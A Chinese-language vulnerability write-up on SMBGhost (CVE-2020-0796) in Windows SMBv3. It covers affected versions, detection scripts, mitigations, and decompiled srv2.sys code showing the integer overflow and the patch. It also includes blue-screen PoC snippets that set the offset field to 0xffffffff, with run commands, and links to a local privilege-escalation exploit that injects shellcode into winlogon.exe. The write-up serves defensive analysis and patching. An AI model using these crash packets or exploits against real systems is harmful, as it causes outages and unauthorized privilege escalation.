0x00 概述
20200310,microsoft透露了一个smb v3协议漏洞。
20200312,microsoft出补丁。
漏洞命名:smbghost/deepblue......
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。
0x01 影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909
0x02 漏洞检测
//至发文(20200322)暂未发现公开EXP。
环境win10x64-1903专业版,关闭防火墙,关闭自动更新!
python版
https://github.com/ollypwn/SMBGhost
It checks for SMB dialect 3.1.1 and compression capability through a negotiate request.
---README.md
socket发送数据包
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
返回判断
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")
然而打上补丁修补后:
所以打上补丁后该脚本也会返回vulnerable导致误报。
python版带数据结构输出
https://github.com/ioncodes/SMBGhost
此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报
pip3 install hexdump
同样也是判断这两个位置
version = struct.unpack("H", response[68:70])[0]
context = struct.unpack("H", response[70:72])[0]
if version != 0x0311:
print(f"SMB version {hex(version)} was found which is not vulnerable!")
elif context != 2:
print(f"Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!")
else:
print(f"SMB version {hex(version)} with context {hex(context)} was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!")
//另外还有这个py检查smb版本和压缩,也可以试试
https://github.com/ClarotyICS/CVE2020-0796/blob/master/python_script/smbv3_compress.py
exe版本(奇安信)
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
都准确!
powershell版本
https://github.com/T13nn3s/CVE-2020-0796
没打补丁:
打补丁后:
判断版本和补丁,简单直接,不会误报。
if ($WindowsVersion -eq 1903) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Elseif ($WindowsVersion -eq 1909) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Else {
Write-Host "[+] CVE-2020-0976 is not applicable to your Windows Version." -ForegroundColor Green
pause
return
}
......
function CheckIfUpdateIsInstalled {
Write-Host "[*] Check if KB4551762 is installed..."
$fix = Get-HotFix -Id KB4551762 -ErrorAction SilentlyContinue
if ($fix) {
Write-Host "[+] *** Windows Update $($fix.HotFixID) is installed on $($fix.InstalledOn). You're not vulnerable ***"
Write-Host "[+] No workaround needed, you can still customize the SMBv3 compression if you like."
return
}
Else {
Write-Host "[-] Windows Update $($kb) is not installed."
}
perl版本
https://github.com/wneessen/SMBCompScan
也是用socket发包,返回判断两个位置
if(($byteArray[68] == 17 && $byteArray[70] == 2) || ($byteArray[70] == 2 && $byteArray[72] == 85)) {
say 'vulnerable';
}
else {
say 'not vulnerable';
}
nmap版本
调用nmap的smb协议扫描脚本检查是否有smbv3.11
nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'
if [[ $? != 0 ]]; then
echo "There's no SMB v3.11"
fi
还有一些nse脚本:
https://github.com/ClarotyICS/CVE2020-0796/tree/master/nse_script
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
https://github.com/pr4jwal/CVE-2020-0796/blob/master/cve-2020-0796.nse
规则版本
https://github.com/ClarotyICS/CVE2020-0796/tree/master/snort_rules
https://github.com/cve-2020-0796/cve-2020-0796/blob/master/snort_rule_smbv3.rules
蓝屏POC
1)
https://github.com/eerykitty/CVE-2020-0796-PoC
def _compress(self, b_data, session):
header = SMB2CompressionTransformHeader()
header['original_size'] = len(b_data)
header['offset'] = 4294967295
header['data'] = smbprotocol.lznt1.compress(b_data)
python3 CVE-2020-0796.py 19.1.2.56
2)
https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC/blob/master/crash.py
class Smb2CompressedTransformHeader:
def __init__(self, data):
self.data = data
self.protocol_id = "\xfcSMB"
self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
self.compression_algorithm = "\x01\x00"
self.flags = "\x00"*2
self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability
python3 crash.py 19.1.2.56
3)
https://gist.github.com/asolino/45095268f0893bcf08bca3ae68a755b2
def attack(self):
compressedHeader = SMB2_COMPRESSION_TRANSFORM_HEADER ()
compressedHeader['ProtocolID'] = 0x424D53FC
compressedHeader['OriginalCompressedSegmentSize'] = 1024
compressedHeader['CompressionAlgorithm'] = 1
compressedHeader['Flags'] = 0xffff
compressedHeader['Offset_Length'] = 0xffffffff
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python setup.py install
0x03 漏洞利用
LPE
20200330,网上出现本地提权EXP:
https://github.com/danigargu/CVE-2020-0796/
利用smbghost漏洞将shellcode注入winlogon.exe。
//已编译版本:
//https://github.com/f1tz/CVE-2020-0796-LPE-EXP
打补丁前:
打补丁后:
0x04 修复方案
1】设置-更新和安全-Windows更新-检查更新
或直接下载对应补丁进行安装(KB4551762)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
2】regedit HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
或powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3】封445端口
0x05 简单分析
smb服务端漏洞文件srv2.sys(C:\Windows\System32\drivers\srv2.sys)
smb客户端漏洞文件mrxsmb.sys
都在SmbCompressDecompress中调用了相同的代码。
分析srv2.sys:
(ida加载srv2.sys不显示函数名是因为没有符号表,要科学上网再在ida提示的时候点yes下载,或者利用windbg\symchk.exe下载)
微软在Windows 10 v1903/Windows Server v1903的SMB 3.1.1协议中开启了对数据压缩传输的支持,本漏洞成因是SMB客户端及服务端在准备解压数据(身份认证请求)时,没有对COMPRESSION_TRANSFORM_HEADE结构进行安全校验,导致后续分配buffer时整形溢出。
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Length;
}COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
在srv2.sys中找和compress相关的函数,如下:
Smb2GetHonorCompressionAlgOrder
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2ValidateCompressionCapabilities
Smb2SelectCompressionAlgorithm
smb会调用Srv2!Srv2ReceiveHandler函数接收smb数据包,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',说明数据是压缩的,则smb会调用Srv2DecompressMessageAsync函数进行解压缩。
Srv2!Srv2DecompressMessageAsync会调用Srv2!Srv2DecompressData函数,申请buffer,解压缩并copy到buffer
附上Lucas Georges美化后的代码:
For that, I used three sources of public information:
DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: >https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
---Lucas Georges
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);
// Basic size checks
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;
// Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;
// Nani ?? oO
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;
// Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}
// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}
*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}
攻击者可以控制 OriginalCompressedSegmentSize和OffsetOrLength 这两个参数。
//图片来源:[MS-SMB2]
OriginalCompressedSegmentSize:压缩前的数据大小。
OffsetOrLength :压缩数据的长度或者片偏移,主要取决于是否设置flags变量。
都为32位int型,并且Srv2!Srv2DecompressData用它们控制分配内存空间,漏洞点:
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int )(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0 i64
);
没有检查相加的值,导致integer整数溢出,SrvNetAllocateBuffer分配了一个较小的alloc_buffer。
随后在Srv2!Srv2DecompressData函数调用SmbCompressionDecompress,最终调用nt!RtlDecompressBufferXpressLz进行数据解压。
附上360博客上分析的代码:
signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
{
v9 = &a1[a2];
....
if ( &a1[v21] > v9 )
return 0xC0000242i64;
...
v33 = a1;
a1 += v21;
qmemcpy(v33, v23, v21);
}
//代码来源blogs.360.cn/post/CVE-2020-0796.html
a1指向SrvNetAllocateBuffer分配的alloc_buffer,
a2的值为OriginalCompressedSegmentSize,v21的值为从smb数据包中解析的解压缩数据的大小,该值可由攻击者控制,若该大小大于OriginalCompressedSegmentSize,则会返回0xC0000242错误,由于之前对长度没有检查,如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出,同时v21就可以设置一个极大值,而依然可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出
---blogs.360.cn
补丁对比:
美化后代码:
unsigned int _v_allocation_size = 0;
if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (_v_allocation_size > another_smb_size_i_guess)
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
__alloc_buffer = SrvNetAllocateBuffer(
_v_allocation_size,
0i64
);
if ( !__alloc_buffer )
return 0xC000009A;
if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (!NT_SUCCESS(SmbCompressionDecompress(
AlgoId,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
_v_uncompressed_size,
Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
Header.OriginalCompressedSegmentSize,
&UncompressedSize)) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
//代码来源https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
使用RtlULongAdd对OriginalCompressedSegmentSize和Offset(Length)进行检查。
用RtULongSub在计算偏移量字段的同时计算压缩缓冲区的大小。
这两个函数是安全的,可在运行时检查整数上溢/下溢出。
0x06 结语
继ms17-010,cve-2019-0708后,又一个蠕虫级RCE漏洞,尽快打补丁吧!
//附件是srv2.sys和符号表文件
0x07 参考资料
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
blogs.360.cn/post/CVE-2020-0796.html
https://blog.riskivy.com/零基础探索smbv3远程代码执行漏洞poc/
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols
-
win10x64-business-1903-srv2-sys.zip 下载